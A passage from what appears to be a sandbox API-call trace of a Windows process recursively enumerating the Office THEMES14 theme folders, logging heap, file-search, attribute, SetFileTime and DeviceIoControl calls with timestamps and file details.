0xf9c628 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa32e8 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6490 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3308 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6598 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3328 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa66a0 [0059.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.372] GetLastError () returned 0x12 [0059.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.372] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.372] GetLastError () returned 0x12 [0059.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.372] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.372] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.372] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0059.372] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0059.411] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.411] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa8340 [0059.411] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa8340, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa8340, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.411] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa8340) returned 1 [0059.411] NtClose (Handle=0x184) returned 0x0 [0059.411] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.411] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.411] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.411] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.412] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3348 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa67a8 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3368 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa68b0 [0059.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3388 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa69b8 [0059.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa33a8 [0059.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6ac0 [0059.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.413] GetLastError () returned 0x12 [0059.413] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.413] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.413] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.414] GetLastError () returned 0x12 [0059.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.414] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.414] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0059.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.414] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0059.780] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa8340 [0059.782] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa8340, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa8340, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa8340) returned 1 [0059.783] NtClose (Handle=0x190) returned 0x0 [0059.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.789] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.793] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.794] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0059.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 